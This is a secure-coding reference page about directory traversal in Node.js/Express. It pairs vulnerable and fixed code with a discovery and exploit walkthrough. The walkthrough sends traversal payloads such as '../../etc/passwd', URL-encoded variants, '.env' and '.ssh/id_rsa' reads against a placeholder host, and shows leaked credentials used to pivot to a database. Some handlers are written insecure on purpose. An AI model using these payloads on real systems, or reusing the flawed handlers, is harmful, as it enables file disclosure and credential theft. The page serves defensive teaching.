Directory Traversal
Directory Traversal at a glance
Overview
Directory Traversal happens when an application uses user supplied paths to read or include files. Joining a base directory with untrusted input does not stop .. segments, absolute paths, URL encoded traversal, or symlink jumps. Attackers can read sensitive files like environment configs, keys, or application source. If the path lands in a dynamic include, the bug can turn into code execution.
Where it occurs
It occurs in endpoints that read user-supplied file paths, such as downloaders, log viewers, or template loaders, and pass them to filesystem APIs without proper validation or path containment checks.
Impact
Sensitive data exposure such as credentials, API keys, and source code. In some stacks, traversal enables Local File Inclusion that runs server side code or reveals template files that help other exploits. Disclosure often provides enough information for lateral movement.
Prevention
Prevent path traversal by avoiding user-supplied paths, using IDs or allowlisted filenames, normalizing and verifying paths stay within a fixed base, rejecting unsafe patterns, using safe framework helpers, and storing files outside the web root.
Examples
Switch tabs to view language/framework variants.
Express, reads a file path from a query and sends it
Handler joins a base directory with a user provided path, but never normalizes and checks containment.
const express = require('express');
const fs = require('fs');
const path = require('path');
const app = express();
const BASE = '/srv/app/logs';
app.get('/log', (req, res) => {
const p = path.join(BASE, req.query.file); // BUG: no normalize or containment check
fs.readFile(p, 'utf8', (err, data) => {
if (err) return res.status(404).end();
res.type('text/plain').send(data);
});
});- Line 7: path.join alone does not prevent ../ traversal
Joining a base with user input does not stop .. segments or absolute paths, which lets attackers read arbitrary files.
const express = require('express');
const fs = require('fs');
const path = require('path');
const app = express();
const BASE = '/srv/app/logs';
app.get('/log', (req,res)=>{
const name = String(req.query.file||'');
if (!/^[a-zA-Z0-9_.-]{1,64}$/.test(name)) return res.status(400).send('bad');
const absBase = fs.realpathSync.native(BASE);
const target = fs.realpathSync.native(path.join(absBase, name));
if (!target.startsWith(absBase + path.sep)) return res.status(400).send('bad');
fs.readFile(target,'utf8',(err,data)=> err?res.status(404).end():res.type('text/plain').send(data));
});- Line 10: Resolve to canonical path and enforce base containment
- Line 8: Strict filename allow list avoids path segments
Map requests to a small allow listed set of filenames, or normalize to a real path and verify it stays under a fixed base.
Engineer Checklist
-
Serve files by ID or allow listed filename, not raw paths
-
Normalize to a real path and verify it starts with the fixed base
-
Reject inputs containing separators or failing a strict filename regex
-
Prefer safe_join or send_from_directory in web frameworks
-
Keep sensitive files outside of web root and static serve paths
End-to-End Example
A support log viewer accepts a file query and reads from disk. An attacker requests a system file using .. segments. The app joins the base and user path but does not check the canonical path, so the read succeeds.
// Node.js/Express - Vulnerable directory traversal
app.get('/logs', (req, res) => {
const filename = req.query.file;
const BASE = '/var/app/logs';
// VULNERABLE: path.join() doesn't prevent traversal!
// Attacker sends: ?file=../../etc/passwd
// Result: /var/app/logs/../../etc/passwd resolves to /etc/passwd
const filepath = path.join(BASE, filename);
fs.readFile(filepath, 'utf8', (err, data) => {
if (err) {
return res.status(404).send('File not found');
}
res.type('text/plain').send(data);
});
});
// ALSO VULNERABLE: Image server
app.get('/images', (req, res) => {
const imageName = req.query.img;
const IMAGE_DIR = '/var/app/public/images';
// VULNERABLE: No validation on image name
// Attacker sends: ?img=../../../app/.env
const imagePath = path.join(IMAGE_DIR, imageName);
res.sendFile(imagePath, (err) => {
if (err) {
res.status(404).send('Image not found');
}
});
});
// VULNERABLE: Download endpoint
app.get('/download', (req, res) => {
const documentPath = req.query.path;
const DOCS_BASE = '/var/app/documents';
// VULNERABLE: Using user-supplied path directly
// Attacker sends: ?path=/etc/passwd (absolute path bypasses join)
// Or: ?path=../../../home/app-user/.ssh/id_rsa
const fullPath = path.join(DOCS_BASE, documentPath);
fs.access(fullPath, fs.constants.R_OK, (err) => {
if (err) {
return res.status(404).send('Document not found');
}
// VULNERABLE: Reads and sends ANY accessible file
res.download(fullPath);
});
});
// VULNERABLE: Template loader (can lead to code execution)
app.get('/page', (req, res) => {
const pageName = req.query.name || 'home';
const TEMPLATES_DIR = '/var/app/views';
// VULNERABLE: Dynamic template loading with user input
// Attacker sends: ?name=../../app.js
// If using certain template engines, this can execute code
const templatePath = path.join(TEMPLATES_DIR, pageName + '.html');
fs.readFile(templatePath, 'utf8', (err, content) => {
if (err) {
return res.status(404).send('Page not found');
}
// Even just reading source code exposes logic and secrets
res.send(content);
});
});// Node.js/Express - Secure file access with path validation
// SECURE: Log viewer with strict validation
app.get('/logs', (req, res) => {
const filename = req.query.file || '';
const BASE = '/var/app/logs';
// 1. Validate filename format - only simple filenames, no path separators
if (!/^[a-zA-Z0-9_.-]{1,64}$/.test(filename)) {
return res.status(400).json({ error: 'Invalid filename format' });
}
// 2. Resolve to canonical absolute path
const absBase = path.resolve(BASE);
const targetPath = path.resolve(absBase, filename);
// 3. Verify the resolved path is still within base directory
// This catches ../ traversal and symlink attacks
if (!targetPath.startsWith(absBase + path.sep)) {
return res.status(403).json({ error: 'Access denied' });
}
// 4. Check file exists and is readable
fs.access(targetPath, fs.constants.R_OK, (err) => {
if (err) {
return res.status(404).json({ error: 'File not found' });
}
fs.readFile(targetPath, 'utf8', (err, data) => {
if (err) {
return res.status(500).json({ error: 'Read error' });
}
res.type('text/plain').send(data);
});
});
});
// SECURE: Use ID mapping instead of file paths
const ALLOWED_IMAGES = {
'logo': 'company-logo.png',
'banner': 'hero-banner.jpg',
'avatar': 'default-avatar.png'
};
app.get('/images', (req, res) => {
const imageId = req.query.id;
const IMAGE_DIR = '/var/app/public/images';
// Map ID to filename - user never controls the path
const filename = ALLOWED_IMAGES[imageId];
if (!filename) {
return res.status(404).json({ error: 'Image not found' });
}
// Safe: filename comes from our mapping, not user input
const imagePath = path.join(IMAGE_DIR, filename);
res.sendFile(imagePath);
});
// SECURE: Download with whitelist validation
const ALLOWED_DOCUMENTS = new Set([
'user-guide.pdf',
'terms.pdf',
'privacy-policy.pdf',
'api-docs.pdf'
]);
app.get('/download', (req, res) => {
const documentName = req.query.doc;
const DOCS_BASE = '/var/app/documents';
// Whitelist check - only allow specific documents
if (!ALLOWED_DOCUMENTS.has(documentName)) {
return res.status(403).json({ error: 'Document not available' });
}
// Additional validation: no path separators
if (documentName.includes('/') || documentName.includes('\\')) {
return res.status(400).json({ error: 'Invalid document name' });
}
const fullPath = path.join(DOCS_BASE, documentName);
const canonicalPath = path.resolve(fullPath);
const canonicalBase = path.resolve(DOCS_BASE);
// Double-check containment
if (!canonicalPath.startsWith(canonicalBase + path.sep)) {
return res.status(403).json({ error: 'Access denied' });
}
res.download(canonicalPath);
});
// SECURE: Template system with fixed templates only
const ALLOWED_PAGES = {
'home': 'home.html',
'about': 'about.html',
'contact': 'contact.html',
'pricing': 'pricing.html'
};
app.get('/page', (req, res) => {
const pageId = req.query.id || 'home';
const TEMPLATES_DIR = '/var/app/views';
// Map page ID to template filename
const templateFile = ALLOWED_PAGES[pageId];
if (!templateFile) {
return res.status(404).send('Page not found');
}
// Safe: template path comes from our whitelist
const templatePath = path.join(TEMPLATES_DIR, templateFile);
fs.readFile(templatePath, 'utf8', (err, content) => {
if (err) {
return res.status(500).send('Error loading page');
}
res.send(content);
});
});Discovery
This vulnerability is discovered by requesting the /log endpoint with path traversal sequences (../) in the file parameter and observing that the application reads files outside the intended directory, such as /etc/passwd or application config files.
-
1. Baseline request
httpAction
Request legitimate log file to understand normal behavior
Request
GET https://app.example.com/api/logs?file=application.logResponse
Status: 200Body:{ "content": "[2024-01-15 10:15:32] INFO: Server started\n[2024-01-15 10:15:45] INFO: Database connected\n[2024-01-15 10:16:01] INFO: Request processed successfully", "file": "application.log", "size": 2048 }Artifacts
baseline_established log_file_accessed -
2. Test basic path traversal
httpAction
Attempt simple directory traversal with ../ sequences
Request
GET https://app.example.com/api/logs?file=../../etc/passwdResponse
Status: 200Body:{ "content": "root:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\napp-user:x:1000:1000::/home/app-user:/bin/bash\npostgres:x:999:999:PostgreSQL Server:/var/lib/postgresql:/bin/bash\nnginx:x:101:101:nginx user:/var/cache/nginx:/sbin/nologin", "note": "Path traversal successful - /etc/passwd file disclosed" }Artifacts
path_traversal_confirmed passwd_file_disclosed system_users_enumerated -
3. Test URL-encoded traversal
httpAction
Try URL encoded path traversal to bypass basic filters
Request
GET https://app.example.com/api/logs?file=..%2F..%2Fetc%2FhostnameResponse
Status: 200Body:{ "content": "prod-server-01.internal.example.com\n", "note": "URL encoding bypass successful - hostname disclosed" }Artifacts
encoding_bypass hostname_disclosed -
4. Extract application secrets
httpAction
Access .env file containing database credentials and API keys
Request
GET https://app.example.com/api/logs?file=../../app/.envResponse
Status: 200Body:{ "content": "DATABASE_URL=postgresql://admin:Pr0dP@ssw0rd2024@db.internal.example.com:5432/production\nREDIS_URL=redis://cache.internal.example.com:6379\nAWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE\nAWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\nSTRIPE_SECRET_KEY=sk_live_51HxYz3FGHxYz3FGHxYz3FG\nJWT_SECRET=super-secret-jwt-key-do-not-share\nSMTP_PASSWORD=smtp_password_123" }Artifacts
env_file_disclosed database_credentials aws_keys stripe_key jwt_secret
Exploit steps
An attacker exploits this by crafting file parameters with traversal sequences to read sensitive files like .env, database.yml, or application source code, extracting credentials and secrets that enable further compromise of the system.
-
1. Extract application configuration
Read database.yml configuration file
httpAction
Use path traversal to access database configuration
Request
GET https://app.example.com/api/logs?file=../../config/database.ymlResponse
Status: 200Body:{ "content": "production:\n adapter: postgresql\n host: db.internal.example.com\n port: 5432\n database: production\n username: admin\n password: Pr0dP@ssw0rd2024\n pool: 25\n timeout: 5000" }Artifacts
database_config db_credentials connection_details -
2. Read application source code
Access main application file
httpAction
Extract source code to identify additional vulnerabilities
Request
GET https://app.example.com/api/logs?file=../../app.jsResponse
Status: 200Body:{ "content": "const express = require('express');\nconst db = require('./database');\nconst JWT_SECRET = 'super-secret-jwt-key-do-not-share';\n\napp.get('/admin/users', (req, res) => {\n // No authorization check!\n db.query('SELECT * FROM users', (err, users) => {\n res.json(users);\n });\n});", "note": "Source code reveals hardcoded secrets and missing authorization checks" }Artifacts
source_code_disclosure hardcoded_secrets additional_vulnerabilities_found -
3. Access SSH private keys
Read server SSH keys for lateral movement
httpAction
Attempt to read SSH private keys from typical locations
Request
GET https://app.example.com/api/logs?file=../../../home/app-user/.ssh/id_rsaResponse
Status: 200Body:{ "content": "-----BEGIN RSA PRIVATE KEY-----\nMIIEpAIBAAKCAQEAr8Zx1mN+kJ8...\n[SSH private key contents]\n-----END RSA PRIVATE KEY-----", "note": "SSH private key exposed - enables direct server access" }Artifacts
ssh_private_key lateral_movement_capability server_access_credential -
4. Leverage stolen credentials
Connect to production database
cliAction
Use extracted credentials to access database directly
Request
Response
Artifacts
database_access user_data_exfiltration password_hashes complete_compromise
Specific Impact
Configuration files, keys, and source code can be read. With disclosure of credentials, attackers pivot to databases, queues, or cloud APIs. If dynamic includes are reachable, traversal can escalate to code execution.
The breach undermines trust and increases the blast radius since leaked secrets may allow changes or further data theft.
Fix
Use simple allow listed filenames and verify canonical containment under a fixed base. Add tests for traversal attempts and CI checks that forbid using raw user paths.
Detect This Vulnerability in Your Code
Sourcery automatically identifies directory traversal vulnerabilities and many other security issues in your codebase.
Scan Your Code for Free